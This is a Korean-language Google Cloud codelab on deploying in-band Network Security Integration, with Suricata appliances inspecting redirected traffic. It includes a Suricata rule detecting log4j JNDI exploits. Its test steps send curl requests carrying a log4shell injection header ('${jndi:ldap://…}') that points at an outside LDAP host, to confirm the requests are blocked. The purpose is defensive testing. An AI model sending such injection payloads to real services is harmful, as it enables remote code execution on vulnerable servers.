대역 내 네트워크 보안 통합 (NSI) Codelab

1. 소개

네트워크 보안 통합

네트워크 보안 통합 (NSI)은 워크로드의 네트워크 보안을 강화할 수 있는 유연성을 제공합니다. 서드 파티 독립 소프트웨어 공급업체 (ISV)의 맞춤형 어플라이언스를 활용하거나 심층 패킷 검사 (DPI) 엔진을 활용하여 페이로드를 검사할 수 있습니다. 이러한 서드 파티 어플라이언스와 원활하게 통합할 수 있도록 Google Cloud에서는 네트워크나 라우팅을 변경하지 않고도 투명하게 어플라이언스를 배포할 수 있도록 지원합니다.

Google Cloud는 대역 외 및 대역 내의 두 가지 네트워크 보안 통합을 제공합니다. 이 실습에서는 인밴드 네트워크 보안 통합을 배포하는 단계를 안내합니다.

인밴드 네트워크 보안 통합

네트워크 보안 통합은 패킷 가로채기 기술을 사용하여 인밴드 통합을 제공하므로 Google Cloud 워크로드를 투명하게 검사하기 위해 네트워크 트래픽 경로에 서드 파티 네트워크 어플라이언스를 배치할 수 있습니다. 이 프로세스는 일반 네트워크 가상화 캡슐화 (GENEVE)를 사용하여 원래 소스 및 대상 IP 주소를 변경하지 않고 어플라이언스로 패킷을 안전하게 전송합니다.

인밴드 통합은 범프인더와이어 모드에서 서드 파티 인라인 네트워크 어플라이언스를 배포하고 사용하는 서비스 중심 접근 방식을 제공합니다. 서비스 생산자는 확장 가능한 서드 파티 네트워크 어플라이언스 집합을 인터셉트 배포로 게시할 수 있습니다. 서비스 소비자는 Cloud Next Generation Firewall 정책 및 규칙을 사용하여 검사를 위해 로컬 인터셉트 엔드포인트로 투명하게 리디렉션할 트래픽을 세부적으로 선택할 수 있습니다.

61bfbf754e04cf70.png

그림 1. 인밴드 통합 서비스의 상위 수준 배포 아키텍처

대역 내 NSI 통합에 관한 자세한 내용은 대역 내 통합 개요를 참고하세요.

대역 내 서비스 프로듀서

서비스 생산자는 서드 파티 어플라이언스가 배포되고 관리되는 곳입니다. 조직의 사용자 (보안팀 등) 또는 외부 공급업체가 관리할 수 있습니다. 생산자는 서드 파티 어플라이언스일 수 있는 가상 머신을 VPC 네트워크의 내부 패스 스루 네트워크 부하 분산기의 백엔드로 등록합니다. 이러한 어플라이언스는 리디렉션된 네트워크 트래픽을 검사합니다. 그런 다음 서비스 프로듀서는 내부 패스 스루 네트워크 부하 분산기의 전달 규칙을 가리키는 영역별 리소스인 인터셉트 배포를 만듭니다.

가로채기 배포는 특정 영역의 프로듀서 검사 서비스를 나타내는 영역별 리소스입니다. 프로듀서는 VM을 배포한 각 영역에 대해 인터셉트 배포를 만듭니다.

가로채기 배포 그룹은 소비자가 프로듀서의 검사 서비스에 연결할 수 있도록 지원하는 전역 프로젝트 범위 리소스입니다. 프로듀서는 여러 영역별 인터셉트 배포를 그룹화하기 위해 인터셉트 배포 그룹을 만듭니다. 프로듀서는 IAM을 사용하여 배포 그룹에 연결할 수 있는 소비자를 제어합니다.

자세한 내용은 인터셉트 배포 그룹 개요인터셉트 배포 개요를 참고하세요.

인밴드 서비스 소비자

서비스 소비자는 프로듀서가 제공하는 검사 서비스를 사용합니다. 소비자는 검사할 VPC와 검사할 생산자를 지정합니다. 이를 위해 소비자는 프로듀서-소비자 관계의 소비자를 나타내는 전역 리소스인 인터셉트 엔드포인트 그룹을 만들고 인터셉트 엔드포인트 그룹을 프로듀서의 인터셉트 배포 그룹에 연결합니다.

트래픽을 검사할 VPC와 인터셉트 엔드포인트 그룹을 연결하기 위해 소비자는 인터셉트 엔드포인트 그룹 연결을 만듭니다. 검사를 위해 프로듀서에게 전송해야 하는 트래픽을 선택하기 위해 소비자는 네트워크 방화벽 정책을 만들고 사용합니다. 소비자는 가로채기 엔드포인트 그룹을 참조하는 보안 프로필이 포함된 보안 프로필 그룹을 만듭니다. 그런 다음 소비자는 특정 기준과 일치하는 트래픽을 생산자의 어플라이언스로 리디렉션하는 방화벽 규칙을 만듭니다.

인터셉트 엔드포인트 그룹(IEG)은 프로젝트 수준 리소스이지만 IEG와 IEG 연결이 동일한 프로젝트에 있을 필요는 없습니다. IEG는 조직 내 다른 프로젝트의 IEG 연결에서 참조할 수 있습니다. 프로듀서-컨슈머 관계의 컨슈머 측을 나타냅니다. 소비자는 프로듀서의 검사 서비스를 사용하기 위해 인터셉트 엔드포인트 그룹을 만듭니다. 소비자 측의 각 인터셉트 엔드포인트 그룹은 생산자 측의 단일 인터셉트 배포 그룹과 연결됩니다.

자세한 내용은 인터셉트 엔드포인트 그룹 및 연결 개요를 참고하세요.

소비자는 트래픽을 인터셉트 엔드포인트 그룹으로 리디렉션하는 방화벽 정책 규칙을 만들어야 합니다. 소비자는 방화벽 정책 규칙 내에서 일치 기준을 지정하여 프로듀서의 어플라이언스에서 검사할 트래픽을 정의할 수 있습니다.

소비자는 트래픽을 검사하는 데 사용할 차단 엔드포인트 그룹을 지정하는 맞춤 차단 보안 프로필을 만듭니다.

소비자는 특정 트래픽 하위 집합에 적용해야 하는 보안 검사 기능 그룹을 정의하기 위해 보안 프로필 그룹을 만듭니다. 보안 프로필 그룹에는 단일 맞춤 인터셉트 보안 프로필이 포함됩니다.

빌드할 항목

ea01a16258c792c1.png

그림 2. 이 Codelab의 대략적인 배포 아키텍처

이 Codelab에서는 편의를 위해 단일 프로젝트를 사용하고 두 개의 VPC 네트워크를 만들며 여러 네트워크 및 보안 리소스를 관리합니다. 이 실습에서는 투명한 보안 삽입을 위해 서드 파티 어플라이언스를 사용하여 인밴드 네트워크 서비스 통합을 배포하는 방법을 보여줍니다.

검사할 흐름은 5튜플 (소스 IP, 대상 IP, 프로토콜, 소스 포트, 대상 포트)을 비롯한 Cloud 방화벽 일치 매개변수를 사용하여 선택됩니다. 이 실습에서는 간단하게 TCP 포트 80의 모든 EGRESS 트래픽을 검사합니다.

프로듀서는 대상 포트가 6081(GENEVE의 잘 알려진 포트)인 UDP 패킷에 대해 프로듀서 VPC 서브넷 게이트웨이 IP(10.0.0.1/32)로부터의 인그레스를 허용합니다.

네트워크 방화벽 정책 규칙베이스의 최종 상태는 아래 표와 유사합니다.

프로듀서 네트워크 정책:

우선순위

방향

프로토콜

대상

소스

대상 위치

Dest Port(대상 포트)

작업

100

인그레스

전체

전체

상태 점검

모두

모두

허용

200

인그레스

전체

전체

IAP

모두

모두

허용

300

인그레스

UDP

전체

10.0.0.1/32

모두

6081

허용

소비자 네트워크 정책:

우선순위

방향

프로토콜

대상

소스

대상 위치

Dest Port(대상 포트)

작업

200

인그레스

TCP

전체

IAP

모두

22

허용

800

이그레스

TCP

전체

임의

모두

80

가로채기

학습할 내용

  • 대역 내 네트워크 보안 통합을 배포하는 방법

필요한 항목

  • Google Cloud 조직 및 프로젝트
  • 적절한 IAM 권한
  • 인스턴스 배포 및 네트워킹 구성요소 구성에 관한 지식
  • 네트워크 정책 방화벽 구성 지식

2. 시작하기 전에

IAM 역할 및 권한

대역 내 네트워크 보안 통합 (NSI) Codelab을 완료하려면 다음 IAM 역할이 필요합니다.

  • Compute 네트워크 관리자 (roles/compute.networkAdmin): VPC 네트워크, 서브넷, Cloud Router, NAT 게이트웨이, 부하 분산기 백엔드 서비스를 만들고 관리하는 데 필요합니다.
  • Compute 보안 관리자 (roles/compute.securityAdmin): 전역 네트워크 방화벽 정책 및 규칙을 만들고, 구성하고, 연결하는 데 필요합니다.
  • 컴퓨팅 인스턴스 관리자 (roles/compute.instanceAdmin.v1): Suricata 어플라이언스와 소비자 테스트 VM을 배포하고, SSH를 통해 연결하고, 최종적으로 삭제하는 데 필요합니다.
  • 인터셉트 배포 관리자 (roles/networksecurity.interceptDeploymentAdmin): 프로듀서가 영역 인터셉트 배포 및 전역 배포 그룹을 만들고 관리하는 데 사용됩니다.
  • 인터셉트 엔드포인트 관리자 (roles/networksecurity.interceptEndpointAdmin): 소비자가 인터셉트 엔드포인트 그룹을 만들고 VPC 네트워크와 연결하는 데 사용됩니다.
  • 인터셉트 배포 사용자 (roles/networksecurity.interceptDeploymentUser): 소비자가 프로듀서의 배포 그룹에 연결할 권한을 부여하기 위해 프로듀서 프로젝트에 필요합니다.
  • 보안 프로필 관리자 (roles/networksecurity.securityProfileAdmin): 맞춤 가로채기 보안 프로필 및 보안 프로필 그룹을 만들고 관리하려면 조직 수준에서 필요합니다.
  • 서비스 사용량 관리자 (roles/serviceusage.serviceUsageAdmin): NSI 기능에 필요한 networksecurity.googleapis.comcompute.googleapis.com API를 사용 설정하는 데 필요합니다.
  • 프로젝트 뷰어 (roles/viewer): 실습 전반에서 사용되는 환경 변수의 프로젝트 구성 및 조직 계보 정보를 가져오는 데 필요합니다.

Google Cloud API

프로젝트에서 필요한 Google Cloud API가 사용 설정되어 있는지 확인하세요.

필요한 API를 사용 설정하고 Cloud Shell 내에서 다음 gcloud 명령어를 실행합니다.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

변수 생성/업데이트

이 Codelab에서는 $변수를 사용하여 Cloud Shell에서 gcloud 구성 구현을 지원합니다.

Cloud Shell에서 아래 명령어를 실행하고 필요에 따라 괄호 안의 정보를 바꿉니다.

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. 제작자 작업

이 섹션에서는 프로듀서 배포 측면을 다룹니다. 여기에는 VPC, 서드 파티 네트워크 가상 어플라이언스, 네트워크 보안 통합과 관련된 모든 구성요소의 배포가 포함됩니다.

VPC 및 Cloud NAT 구성요소

  1. VPC 및 서브넷을 만듭니다.
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. 방화벽 규칙에 사용할 서브넷 게이트웨이 IP를 가져옵니다.
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. 프로듀서 VPC의 FW 정책 및 규칙을 만듭니다. 이러한 FW 규칙은 상태 점검, IAP, NSI 소스 트래픽의 인그레스를 허용합니다.
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. 프로듀서 VPC를 네트워크 방화벽 정책에 연결합니다.
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. 필요한 패키지와 업데이트를 다운로드하기 위해 서드 파티 네트워크 가상 어플라이언스 (NVA)용 Cloud Router 및 Cloud NAT를 배포합니다.
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

서드 파티 VM

이 실습에서는 오픈소스 위협 감지 서비스인 Suricata를 배포합니다. 이 명령어에는 Suricata를 설치하고 구성하는 시작 스크립트가 있습니다. GENEVE 패킷을 처리하고 응답하기 위해 소스 네트워크 주소 변환 (SNAT)과 대상 네트워크 주소 변환 (DNAT)을 실행하는 iptables도 있습니다.

  1. 첫 번째 영역에 서드 파티 NVA를 배포합니다.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. 두 번째 영역에 서드 파티 NVA를 배포합니다.
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

프로듀서 부하 분산기 구성요소

  1. 서드 파티 NVA의 가용성을 확인하는 데 사용되는 일반 상태 점검을 만듭니다.
gcloud compute health-checks create http nva-hc
  1. 각 영역에 영역별 비관리형 인스턴스 그룹을 만듭니다.
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. 인스턴스를 인스턴스 그룹에 추가합니다.
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

다음 명령어를 사용하여 인스턴스 그룹에 인스턴스가 포함되어 있는지 확인합니다.

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

샘플 출력:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. 내부 UDP 백엔드 서비스를 만듭니다.
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. 백엔드 서비스에 두 인스턴스 그룹을 모두 추가합니다.
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. 전달 규칙에 사용할 내부 IP를 예약합니다. 각 인터셉트 배포에는 고유한 전달 규칙이 필요합니다.
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. 각 영역의 전달 규칙을 만듭니다. 인터셉트 배포에는 고유한 전달 규칙이 필요하므로 다음이 필요합니다.
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

네트워크 보안 통합 구성요소

  1. 가로채기 배포 그룹을 만듭니다.
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

배포 그룹이 성공적으로 생성되었는지 확인합니다.

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

결과 예시:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. 각 영역에 대해 가로채기 배포를 만듭니다.
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

인터셉트 배포가 성공적으로 생성되었는지 확인합니다.

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

샘플 출력:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

수고하셨습니다. 프로듀서 측 설정을 완료했습니다. 다음으로 트래픽을 가로채고 시행을 위해 서드 파티 어플라이언스로 투명하게 전송하도록 소비자 측을 구성합니다.

4. 소비자 작업

이 실습에서는 편의상 단일 프로젝트 내에서 별도의 VPC를 사용하지만 실제 환경에서는 프로듀서 및 소비자 리소스가 서로 다른 프로젝트에 있거나 심지어 서로 다른 조직에 있을 수도 있습니다.

VPC 및 Cloud NAT 구성요소

  1. VPC 및 서브넷을 만듭니다.
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Cloud Router 및 Cloud NAT 게이트웨이를 만듭니다.
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

엔드포인트 그룹 및 연결 가로채기

  1. 가로채기 엔드포인트 그룹을 만듭니다.
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

엔드포인트가 성공적으로 생성되었는지 확인합니다.

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

결과 예시:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. 소비자 VPC를 지정하여 인터셉트 엔드포인트 그룹 연결을 만듭니다.
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

검증:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

샘플 출력:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

보안 프로필 및 보안 프로필 그룹

다음으로 가로채기를 위한 맞춤 보안 프로필을 만들어 보안 프로필 그룹에 연결합니다. 보안 프로필과 보안 프로필 그룹은 서드 파티 어플라이언스의 패킷 가로채기에 사용됩니다.

  1. 맞춤 차단 보안 프로필을 만듭니다.
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

보안 프로필이 성공적으로 생성되었는지 확인합니다.

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

샘플 출력:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. 보안 프로필 그룹을 만듭니다.
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

SPG가 성공적으로 생성되었는지 확인합니다.

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

샘플 출력:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

방화벽 정책, 규칙, 연결

  1. 전역 네트워크 방화벽 정책을 만듭니다.
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. 방화벽 규칙을 만듭니다.
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. NSI를 활용하여 모든 이그레스 트래픽을 가로채 서드 파티 어플라이언스로 투명하게 전송하는 방화벽 규칙을 만듭니다. 이 규칙은 검사를 위해 모든 TCP:80 이그레스 트래픽을 전송합니다.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. 클라우드 방화벽 정책을 VPC 네트워크에 연결합니다.
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

컨슈머 VM

  1. NSI를 검증하는 데 사용되는 VM을 배포합니다. 3개 영역에 3개의 VM을 배포합니다. $zonec에는 NSI가 사용 설정되어 있지 않지만 2개의 영역에는 사용 설정되어 있습니다.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

인밴드 네트워크 보안 통합 테스트

  1. $zonea (consumer-$zonea)의 VM에 SSH를 통해 연결합니다. 테스트 트래픽 전송:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. http://www.google.com으로 테스트 트래픽을 전송합니다.
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

예상 출력:

200

HTTP 200 상태 코드는 클라이언트의 요청이 서버에 의해 성공적으로 수신, 이해, 처리되었음을 나타냅니다.

  1. NSI를 통해 Suricata에 의해 차단되어야 하는 log4j 요청을 전송합니다.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

예상 출력:

000

000 HTTP 응답 코드는 유효한 HTTP 상태 코드가 수신되지 않았음을 나타내기 위해 특정 소프트웨어에서 사용하는 비공식 비표준 코드입니다. 이는 요청이 방화벽에 의해 차단되었음을 의미합니다.

  1. SSH 세션을 종료하여 Cloud Shell로 돌아갑니다.
exit
  1. $zoneb (consumer-$zoneb)의 VM에 SSH를 통해 연결
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. 마찬가지로 테스트 트래픽을 전송합니다.
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

예상 출력:

200
  1. log4j 요청을 보냅니다.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

예상 출력:

000
  1. SSH 세션을 종료하여 Cloud Shell로 돌아갑니다.
exit
  1. $zonec (consumer-$zonec)의 VM에 SSH를 통해 연결
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. 마찬가지로 테스트 트래픽을 전송합니다.
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

예상 출력:

200
  1. log4j 요청을 보냅니다.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

예상 출력:

200

